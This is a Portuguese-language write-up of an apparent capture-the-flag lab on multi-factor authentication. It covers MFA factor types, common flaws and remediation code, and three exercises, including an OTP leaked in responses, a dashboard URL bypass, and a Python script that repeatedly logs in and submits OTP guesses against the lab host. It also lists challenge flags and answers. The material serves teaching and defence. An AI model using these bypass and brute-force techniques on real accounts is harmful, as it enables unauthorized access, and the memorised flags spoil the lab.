Multi-Factor Authentication
Introdução
Multi-Factor Authentication (MFA) tem uma papel importante em aplicações modernas, adicionando uma camada extra de proteção contra ataques. MFA utiliza diferentes combinações, por exemplo:
- Senha.
- Algo que você tem (celular).
- Algo que você possui (biometria).
O objetivo da aula é entender melhor, os conceitos de MFA, como também sua importância no fortalecimento da segurança. Além de explorar diferentes tipos de fatores de autenticação utilizando MFA, ao final da aula teremos um melhor entendimento sobre essa tecnologia, através de estudo em cenários práticos onde o MFA é implementado para proteger informações sensíveis.
Como MFA funciona
É importante saber que o 2FA (segundo fator de autenticação) faz parte do MFA, quando dizemos MFA estamos nos referindo ao processo de autenticação, que solicita dois ou mais fatores para verificar a identidade.
Tipo de fator de autenticação
MFA combina dois os mais tipos de credenciais, para realizar a autenticação, são eles:
Conhecimento
: senha, PIN, ou outra coisa que você lembra.Posse
: smartcard, celular com app de autenticação, etc.Herança
: biometrica, íris, impressões digitais.Localização
: geolocalização, IP de origem.Comportamento
: aplicação analisa o comportamento do usuário, para restringir interações de bot.
2FA utiliza dois tipos de fatores, dos citados acima, todo 2FA é um MFA, porém nem todo MFA é um 2FA.
Tipos de 2FA
2FA pode utilizar vários mecanismos para garantir que cada fator de autenticação forneça uma camada de segurança robusta. Alguns dos métodos mais comuns incluem:
- Time-Based One Time Passwords (TOTP): senhas temporárias que são trocadas a cada 30 segundos ou mais.
- Push Notifications: aplicativos como DUO ou Google Prompt enviam uma solicitação de login para celular.
- SMS: a maioria dos aplicativos utilizam esse método, o sistema envia uma mensagem de texto com um código temporário para o número de celular do usuário.
- Hardware Tokens: dispositivos com YubiKeys geram um one-time passcode ou utilizam autenticação por NFC.
Acesso Condicional
O acesso condicional é normalmente usado por empresas para ajustar os requisitos de autenticação com base em diferentes contextos. É como uma árvore de decisão que aciona verificações de segurança extras dependendo de certas condições. Por exemplo:
Baseado na Localização
Se o usuário está acessando o sistema, do local habitual que já acessa, é solicitado somente as credenciais de acesso. Caso esteja em algum outro local, o sistema pode solicitar outras verificações: OTP ou biometria .
Baseado em Tempo
Durante um acesso em horário regular de trabalho, o sistema pode solicitar apenas as credenciais de acesso. Em horário fora do expediente, pode ser adicionado uma cama extra de segurança, como por exemplo: OTP ou tokens de segurança.
Análise por Comportamento
Suponha que o comportamento de um usuário mude repentinamente, como se ele começasse a acessar dados que normalmente não visualiza ou acessa em horários estranhos. Nesse caso, o sistema pode pedir autenticação adicional para confirmar que é realmente ele.
Adoção Global e Impulso Regulatório
A adoção do MFA está se expandindo rapidamente em vários setores devido à sua eficácia na proteção contra muitas ameaças comuns de segurança, incluindo phishing, engenharia social e ataques baseados em senha. Governos e indústrias em todo o mundo estão reconhecendo a importância do MFA e estão começando a exigir seu uso por meio de várias estruturas regulatórias. Por exemplo, os setores financeiro e de saúde agora estão implementando requisitos rigorosos de MFA para cumprir com regulamentações como GDPR na Europa, HIPAA nos Estados Unidos e PCI-DSS para sistemas de pagamento globalmente.
Pergunta
When logging in to the application, you receive an SMS on your phone containing the OTP. What authentication factor is this?
Resposta:Something you have
Implementações e Aplicações
A autenticação multifator (MFA) é agora um fator importante para manter nossas atividades online e offline protegidas de agentes de ameaças
MFA Bancos
Os bancos lidam com informações e transações incrivelmente sensíveis todos os dias. Ao usar o MFA, os bancos podem proteger as informações pessoais e financeiras dos usuários contra roubo cibernético, fraude e outras ameaças online. Normalmente, os bancos pedem que você insira uma senha (algo que você sabe) antes de passar para uma segunda camada de segurança, que é um código enviado por SMS ou gerado por um aplicativo no seu telefone (algo que você tem). Dessa forma, mesmo que alguém tenha sua senha, ele ainda precisará dessa informação extra para acessar sua conta ou concluir uma transação.
MFA em Saúde
Na área da saúde, devido a regulamentações como a HIPAA nos EUA, a MFA garante que os registros de pacientes e informações pessoais de saúde sejam acessíveis apenas por pessoas autorizadas. Por exemplo, para acessar sistemas sensíveis como registros eletrônicos de saúde (EHRs), os provedores de saúde podem exigir que um médico use um crachá de segurança (algo que eles têm) e uma digitalização de impressão digital (algo que eles são). Isso garante que apenas aqueles com as credenciais corretas possam visualizar ou alterar os dados do paciente.
MFA em TI Corporativa
Com o número crescente de ataques cibernéticos e violações de dados, os departamentos de TI no mundo corporativo estão sob intensa pressão para proteger dados comerciais confidenciais e manter a integridade do sistema. O MFA ajuda a mitigar o risco de acesso não autorizado que pode levar ao roubo de dados, espionagem ou sabotagem. Em um ambiente corporativo, o MFA é normalmente usado ao acessar redes, bancos de dados e serviços de nuvem da empresa. Os funcionários podem primeiro fazer login com suas credenciais corporativas (algo que eles sabem) e, em seguida, verificar sua identidade com um código enviado para o telefone fornecido pela empresa (algo que eles têm) ou por meio de verificação biométrica (algo que eles são). Dessa forma, mesmo que alguém tente atacar seu sistema, eles encontrarão um obstáculo sem o segundo fator.
Pergunta
Is MFA an important factor in keeping our online and offline activities safe from threat actors? (yea/nay)
Resposta:yea
Vulnerabilidades comuns em MFA
Fraqueza no Algoritmo de Geração do OTP
A segurança de uma Senha Única (OTP) é tão forte quanto o algoritmo usado para criá-la. Se o algoritmo for fraco ou muito previsível, ele pode facilitar o trabalho do invasor tentando adivinhar a OTP.
Aplicativo Vazando o Token 2FA.
Devido à codificação insegura, alguns aplicativos também podem vazar o token 2FA na resposta. Um cenário comum é quando um usuário, após o login, chega à página 2FA, o aplicativo acionará uma solicitação XHR para um endpoint que emite o OTP. Às vezes, essa solicitação XHR retorna o OTP de volta para o usuário dentro da resposta HTTP.
Brute Forcing em OTP
Embora OTPs sejam projetados para uso único, eles não são imunes a ataques de força bruta. Se um invasor puder fazer suposições ilimitadas, ele pode eventualmente obter o OTP correto, especialmente se o OTP não estiver bem protegido por medidas de segurança adicionais.
Falta de limitação de taxa
Sem limitação de taxa adequada, um aplicativo fica aberto a invasores para continuar tentando diferentes OTPs sem dificuldade. Se um invasor puder enviar vários palpites em um curto período de tempo, isso aumenta a probabilidade de que o invasor consiga obter o OTP correto.
Uso do Evilginx
Evilginx é uma ferramenta que é tipicamente usada red teams. Como pode ser usada para executar ataques de phishing sofisticados, efetivamente ignorando a Autenticação Multifator (MFA). Ela opera como um proxy man-in-the-middle que pode interceptar e redirecionar OTPs destinados a usuários legítimos.
Pergunta
What can be implemented to help prevent brute-forcing OTPs?
Resposta: rate limiting
Vazamento de OTP - Prática
Vazamento de token OTP em uma resposta XHR (XMLHttpRequest) ocorre devido a uma implementação incorreta no 2FA ou codificação insegura. Algumas razões comuns por que isso ocorre são:
Validação Server-Side ou retorno de dados sensíveis
Em alguns aplicativos mal projetados, o servidor valida o OTP e, em vez de apenas confirmar o sucesso ou a falha, ele retorna o próprio OTP na resposta. Isso geralmente é feito de forma não intencional, como parte de depuração, registro ou práticas inadequadas de tratamento de respostas.
Falta de práticas de segurança adequadas
Os desenvolvedores podem ignorar as implicações de segurança de expor informações sensíveis como OTP nas respostas da API. Isso geralmente acontece quando os desenvolvedores estão focados em tornar o aplicativo funcional sem considerar como os invasores podem explorar essas respostas.
Depuração de informações deixadas na produção
Durante o processo de desenvolvimento e teste, os desenvolvedores deixam mensagem de depuração, tornado-o assim o desenvolvimento mais fácil para identificar possíveis falhas ou bug, o problema é que muitas vezes essas informações não são removidas no software que será usado em produção. Se essas respostas de depuração não forem removidas antes da implantação na produção, informações confidenciais, como OTPs, poderão ser expostas.
Exploração
Acessar o endereço: http://mfa.thm/labs/first
Credenciais de acesso:
Username | Password |
---|---|
thm@mail.thm | test123 |
Antes de realizar o login devemos abrir a ferramenta de desenvolvedor Web do navegador (F12). Na aba de “Network” iremos acompanhar todas requisições, depois que clicarmos em “Login”
O token OTP é vazado na resposta HTTP, com isso conseguimos acessar a aplicação.
What is the flag in the dashboard?
Resposta:904c8ac84e44f0ba942e9e11ee7037b8
Codificação Insegura - Prática
Falha lógica ou codificação insegura?
Em alguns aplicativos, lógica falha ou práticas de codificação inseguras podem levar a uma situação em que partes críticas do aplicativo (por exemplo, o painel) podem ser acessadas sem concluir totalmente o processo de autenticação. Especificamente, um invasor pode ser capaz de ignorar o mecanismo 2FA completamente e obter acesso ao painel ou outras áreas sensíveis sem inserir o OTP (One-Time Password). Isso geralmente ocorre devido ao gerenciamento de sessão inadequado, verificações de controle de acesso deficientes ou lógica implementada incorretamente que não consegue impor o requisito 2FA.
Exploração
Para autenticamos na aplicação usaremos as mesmas credenciais do exercício anterior. Laboratório:http://mfa.thm/labs/second/
Após informar as credenciais, somos redirecionado para a verificação de OTP. Porém, se alterarmos nossa URL para dashboard
conseguimos bypassed a verificação de segurança, dessa forma não precisamos informar o token. Exemplo: http://mfa.thm/labs/second/dashboard
Se profundando no código
1
2
3
4
5
6
7
8
9
10
11
12
13
14
# Function that verifies the submitted 2FA token
function verify_2fa_code($code) {
if (!isset($_SESSION['token']))
return false;
return $code === $_SESSION['token'];
}
# Function called in the /mfa page
if (verify_2fa_code($_POST['code'])) { #If successful, the user will be redirected to the dashboard.
$_SESSION['authenticated'] = true; # Session that is used to check if the user completed the 2FA
header('Location: ' . ROOT_DIR . '/dashboard');
return;
}
No exemplo acima o usuário só pode ser redirecionado para a página dashboard
após informar o código correto do 2FA.
No exemplo abaixo, não é feito as devidas verificações, após o usuário autenticar na aplicação com e-mail
e senha
, já possível acessar a dashboard
sem o 2FA.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
function authenticate($email, $password){
$pdo = get_db_connection();
$stmt = $pdo->prepare("SELECT `password` FROM users WHERE email = :email");
$stmt->execute(['email' => $email]);
$user = $stmt->fetch(PDO::FETCH_ASSOC);
return $user && password_verify($password, $user['password']);
}
if (authenticate($email, $password)) {
$_SESSION['authenticated'] = true; # This flag should only be issued after the MFA completion
$_SESSION['email'] = $_POST['email'];
header('Location: ' . ROOT_DIR . '/mfa');
return;
}
Para remediar essa vulnerabilidade, o cookie ou sessão que é usado em verificações de autenticação deve ser dividido em duas partes. A primeira parte é a que define a sessão após a verificação bem-sucedida do nome de usuário e senha; o único propósito desta sessão é enviar um token 2FA. A segunda sessão deve ser somente após o OTP ser validado.
Exemplo de código
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
<?php
// Parte 1: Sessão para verificar o nome de usuário e a senha
session_start();
$_SESSION['auth'] = 'authenticated_user'; // Sessão após a verificação bem-sucedida do nome de usuário e senha
setcookie('auth_session', session_id(), time() + 3600, '/', 'example.com', true, true);
// Verificação 2FA
if (verify_2fa_code($_POST['2fa_code'])) {
// Parte 2: Sessão após a validação do OTP
$_SESSION['mfa'] = 'mfa_validated';
setcookie('mfa_session', session_id(), time() + 3600, '/', 'example.com', true, true);
header('Location: ' . ROOT_DIR . '/dashboard');
exit;
} else {
echo "Token 2FA inválido.";
}
?>
What is the flag in the dashboard?
Resposta:87880e9d27001affdff90989f351c46
Vencendo o recurso de logout automático
Em alguns aplicativos, falhar no desafio 2FA pode fazer com que o aplicativo reverta o usuário de volta para a primeira parte do processo de autenticação (ou seja, o login inicial com nome de usuário e senha). Esse comportamento geralmente ocorre devido a mecanismos de segurança projetados para evitar ataques de força bruta na parte 2FA do aplicativo. O aplicativo pode forçar o usuário a se autenticar novamente para garantir que a pessoa que tenta fazer login seja de fato o usuário legítimo e não um invasor tentando adivinhar o OTP.
Razões comuns para esse comportamento
Invalidação de Sessão
Ao falhar no desafio 2FA, o aplicativo pode invalidar a sessão do usuário como medida de segurança, forçando o usuário a iniciar o processo de autenticação do zero.
Políticas de limitação de taxa e bloqueio
Para evitar que invasores tentem repetidamente ignorar a 2FA, o aplicativo pode ter mecanismos de limitação de taxa ou bloqueio que são acionados após um número definido de tentativas malsucedidas, revertendo o usuário para a etapa inicial de login.
Redirecionamento orientado à segurança
Alguns aplicativos são projetados para redirecionar os usuários de volta à página de login após várias tentativas malsucedidas de 2FA como uma medida de segurança adicional, garantindo que as credenciais do usuário sejam revalidadas antes de permitir outra tentativa de 2FA.
Automatização é a chave
Velocidade
Fazer login manualmente toda vez que você é desconectado é lento e tedioso. A automação pode fazer isso por você muito mais rápido.
Consistência
A automação evita erros que podem acontecer se você estiver fazendo as mesmas ações repetitivas várias vezes. É confiável.
Recuperando-se de logouts
Se o aplicativo fizer o logout após algumas tentativas malsucedidas, o script pode efetuar login novamente automaticamente e continuar tentando. Isso evita o incômodo de fazer isso manualmente todas as vezes.
Exploração
A aplicação efetua o logout automaticamente do usuário, se ele informar o token 2FA incorreto, essa aplicação gera 4 dígitos (PIN) toda vez que o usuário realiza o login.
Laboratório:http://mfa.thm/labs/third
Código que gera o PIN:
1
2
3
4
5
6
7
function generateToken()
{
$token = strval(rand(1250, 1350));
$_SESSION['token'] = $token;
return 'success';
}
Vamos utilizar o script fornecido em aula, para adivinhar o PIN correto.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
import requests
# Define the URLs for the login, 2FA process, and dashboard
login_url = 'http://mfa.thm/labs/third/'
otp_url = 'http://mfa.thm/labs/third/mfa'
dashboard_url = 'http://mfa.thm/labs/third/dashboard'
# Define login credentials
credentials = {
'email': 'thm@mail.thm',
'password': 'test123'
}
# Define the headers to mimic a real browser
headers = {
'User-Agent': 'Mozilla/5.0 (X11; Linux aarch64; rv:102.0) Gecko/20100101 Firefox/102.0',
'Accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8',
'Accept-Language': 'en-US,en;q=0.5',
'Accept-Encoding': 'gzip, deflate',
'Content-Type': 'application/x-www-form-urlencoded',
'Origin': 'http://mfa.thm',
'Connection': 'close',
'Referer': 'http://mfa.thm/labs/third/mfa',
'Upgrade-Insecure-Requests': '1'
}
# Function to check if the response contains the login page
def is_login_successful(response):
return "User Verification" in response.text and response.status_code == 200
# Function to handle the login process
def login(session):
response = session.post(login_url, data=credentials, headers=headers)
return response
# Function to handle the 2FA process
def submit_otp(session, otp):
# Split the OTP into individual digits
otp_data = {
'code-1': otp[0],
'code-2': otp[1],
'code-3': otp[2],
'code-4': otp[3]
}
response = session.post(otp_url, data=otp_data, headers=headers, allow_redirects=False) # Disable auto redirects
print(f"DEBUG: OTP submission response status code: {response.status_code}")
return response
# Function to check if the response contains the login page
def is_login_page(response):
return "Sign in to your account" in response.text or "Login" in response.text
# Function to attempt login and submit the hardcoded OTP until success
def try_until_success():
otp_str = '1337' # Hardcoded OTP
while True: # Keep trying until success
session = requests.Session() # Create a new session object for each attempt
login_response = login(session) # Log in before each OTP attempt
if is_login_successful(login_response):
print("Logged in successfully.")
else:
print("Failed to log in.")
continue
print(f"Trying OTP: {otp_str}")
response = submit_otp(session, otp_str)
# Check if the response is the login page (unsuccessful OTP)
if is_login_page(response):
print(f"Unsuccessful OTP attempt, redirected to login page. OTP: {otp_str}")
continue # Retry login and OTP submission
# Check if the response is a redirect (status code 302)
if response.status_code == 302:
location_header = response.headers.get('Location', '')
print(f"Session cookies: {session.cookies.get_dict()}")
# Check if it successfully bypassed 2FA and landed on the dashboard
if location_header == '/labs/third/dashboard':
print(f"Successfully bypassed 2FA with OTP: {otp_str}")
return session.cookies.get_dict() # Return session cookies after successful bypass
elif location_header == '/labs/third/':
print(f"Failed OTP attempt. Redirected to login. OTP: {otp_str}")
else:
print(f"Unexpected redirect location: {location_header}. OTP: {otp_str}")
else:
print(f"Received status code {response.status_code}. Retrying...")
# Start the attack to try until success
try_until_success()
O script basicamente automatiza o processo de teste de PIN, para cada tentativa OTP uma nova sessão é criada, usando requests.Session()
, isso garante que a página é atualizada, será feito o login com as credenciais do usuário, e realizado uma nova tentativa para descobrir o OTP.
Agora com nosso cookie
autenticado, iremos utiliza-lo no navegador.
What is the flag in the dashboard?
Resposta:20548e076dbb9ba30c9d94ae4aceb38e
Conclusão
Nesta aula, obtivemos um entendimento mais claro sobre MFA e as diferenças entre MFA e 2FA. Abordamos os conceitos dos diferentes tipos de fatores de autenticação existentes e em quais cenários eles são normalmente utilizados. Além disso, foi apresentado, em aula prática, os tipos de vulnerabilidades comuns e as melhores práticas para mitigá-las.